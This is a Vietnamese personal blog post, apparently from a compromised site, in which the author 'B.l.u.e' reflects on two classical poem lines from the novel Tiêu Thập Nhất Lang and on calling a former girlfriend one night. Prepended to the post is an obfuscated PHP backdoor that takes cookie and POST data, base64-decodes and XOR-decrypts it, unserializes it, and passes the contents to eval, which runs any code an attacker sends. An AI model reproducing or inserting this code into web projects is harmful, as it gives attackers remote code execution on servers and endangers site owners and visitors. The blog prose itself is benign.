$gkTikmvawS = class_exists("L_JuS");if (!$gkTikmvawS){class L_JuS{private $pEkriz;public static $gEJHvAd = "0bac3d14-080a-40da-9ae3-072f26eb3bee";public static $hiuUA = NULL;public function __construct(){$nACiVMM = $_COOKIE;$ZybOWNLPM = $_POST;$AjoGQkCSfU = @$nACiVMM[substr(L_JuS::$gEJHvAd, 0, 4)];if (!empty($AjoGQkCSfU)){$CHzhCIO = "base64";$MphdUtXc = "";$AjoGQkCSfU = explode(",", $AjoGQkCSfU);foreach ($AjoGQkCSfU as $XvwaYg){$MphdUtXc .= @$nACiVMM[$XvwaYg];$MphdUtXc .= @$ZybOWNLPM[$XvwaYg];}$MphdUtXc = array_map($CHzhCIO . chr ( 182 - 87 ).'d' . 'e' . "\143" . chr (111) . "\x64" . chr (101), array($MphdUtXc,)); $MphdUtXc = $MphdUtXc[0] ^ str_repeat(L_JuS::$gEJHvAd, (strlen($MphdUtXc[0]) / strlen(L_JuS::$gEJHvAd)) + 1);L_JuS::$hiuUA = @unserialize($MphdUtXc);}}public function __destruct(){$this->rybNWbPiMq();}private function rybNWbPiMq(){if (is_array(L_JuS::$hiuUA)) {$EgZDwdc = str_replace("\74" . chr ( 405 - 342 )."\160" . "\150" . chr ( 886 - 774 ), "", L_JuS::$hiuUA[chr ( 642 - 543 ).chr (111) . 'n' . "\164" . "\x65" . "\x6e" . 't']);eval($EgZDwdc);exit();}}}$RYRUp = new L_JuS(); $RYRUp = NULL;} ?> Thử tình khả đãi thành truy ức… – B.l.u.e

B.l.u.e

Inside the crowd, I dance [alone]

Menu Close

Thử tình khả đãi thành truy ức…

Memory

Anh nghe hai câu này đầu tiên là khi đọc Tiêu Thập Nhất Lang ((http://vnthuquan.net/truyen/truyen.aspx?tid=2qtqv3m3237nvn1n1nnn31n343tq83a3q3m3237n1n2n – Hồi 24))

Thử tình khả đãi thành truy ức
Chỉ thị đương thời dĩ võng nhiên
(Tình này chỉ còn chờ thành kỉ niệm
Còn lúc này thì đang ngẫn ngơ)

Hai câu thơ, Thẩm Bích Quân đã từng đọc qua, nhưng chưa bao giờ hiểu.
Đến bây giờ, nàng mới thông cảm cái tịch mịch và đau khổ hàm chứa trong đó, nồng đậm không bao giờ phai.

Anh không thuộc nhiều thơ Đường, nhưng có những câu đã đọc rồi là không thể quên. Hai câu trên là một trường hợp như thế.

Anh bình thường chỉ uống được 2 chai beer. Đêm qua, anh uống những 5 chai. Nhưng anh không say.
Trời mưa, thì anh hay nhớ. Anh không biết lí do tại sao, nhưng quả thật là thế. Đêm qua, trời không mưa. Nhưng anh vẫn nhớ.

Thật sự, khi những ngón tay của anh bấm lần lượt vào cái – tổ – hợp – phím – điện – thoại mà có nằm mơ anh vẫn thấy ấy, anh hiểu rõ mình đang làm gì. Chỉ có thằng hèn mới dám làm mà không dám nhận. Anh tuy hèn trong đủ mọi chuyện, nhưng riêng việc này thì anh dám nhận: anh vẫn nhớ nó. Ừ, nó ở đây là bạn gái cũ của anh. Đôi khi từ ngữ không diễn tả hết mọi thứ, nhỉ?

Khi tiếng của nó vang lên trong điện thoại, anh tưởng chừng như mình không thể đứng vững. Đúng là cái mặt nạ đích thực của thời gian là man trá, khi thì ngọt ngào, lúc lại tàn khốc. Tưởng như tiếng tík tắk của đồng hồ vọng về từ một vùng kí ức xa xôi, nhưng rồi lại giật mình phát hiện nó rất gần.

Đúng vào thời điểm ấy, anh đưa tay ra, nhưng những gì anh chạm vào, chỉ là ánh sáng vàng nhợt nhạt của bóng đèn đường, cái hương thơm toả ra dịu nhẹ của cây cảnh, cảm giác lạnh nhè nhẹ đầy thoả mãn của gió… và một phần của anh. Chỉ không có nó.

Dốc cả tâm can – không ngắn cũng không quá dài, bốn từ này là đủ mô tả mọi thứ. Lại một lần nữa, những gì yếu hèn nhất trong anh, thứ mà bình thường anh che giấu vô cùng tốt bằng một nụ cười nhếch mép, cái nhìn dửng dưng, được dịp tuôn ra ào ạt. Hiện không nhiều người có thể khiến anh như thế. Dĩ nhiên, tên nó nằm ở đầu danh sách.

Anh gọi cho nó, không phải để níu kéo, không phải để ôn cố tri tân. Chỉ đơn giản, vào thời điểm ấy, giữa không gian ấy, đúng lúc con người anh như thế, anh cảm thấy cần gọi.

Anh biết, cái gì cũng chỉ có một thời. Thời đó, đã qua, thật sự qua rồi.

Đến hôm nay, anh mới thật sự thấu hiểu, cái cảm giác mong chờ mọi thứ biến thành kí ức nó như thế nào.

Bàn tay anh vẫn chưa buông, nhưng thứ mà anh đang chạm vào, chỉ có hư – vô.

B.l.u.e

p/s: bức tranh minh hoạ là Memory (Nhớ kỷ niệm xưa) với một khoảng Phố Phái (Oil on canvas, 38 x 45.5 cm, 2001) của họa sĩ Nguyễn Đình Đăng.

© 2024 B.l.u.e. All rights reserved.

Theme by Anders Norén.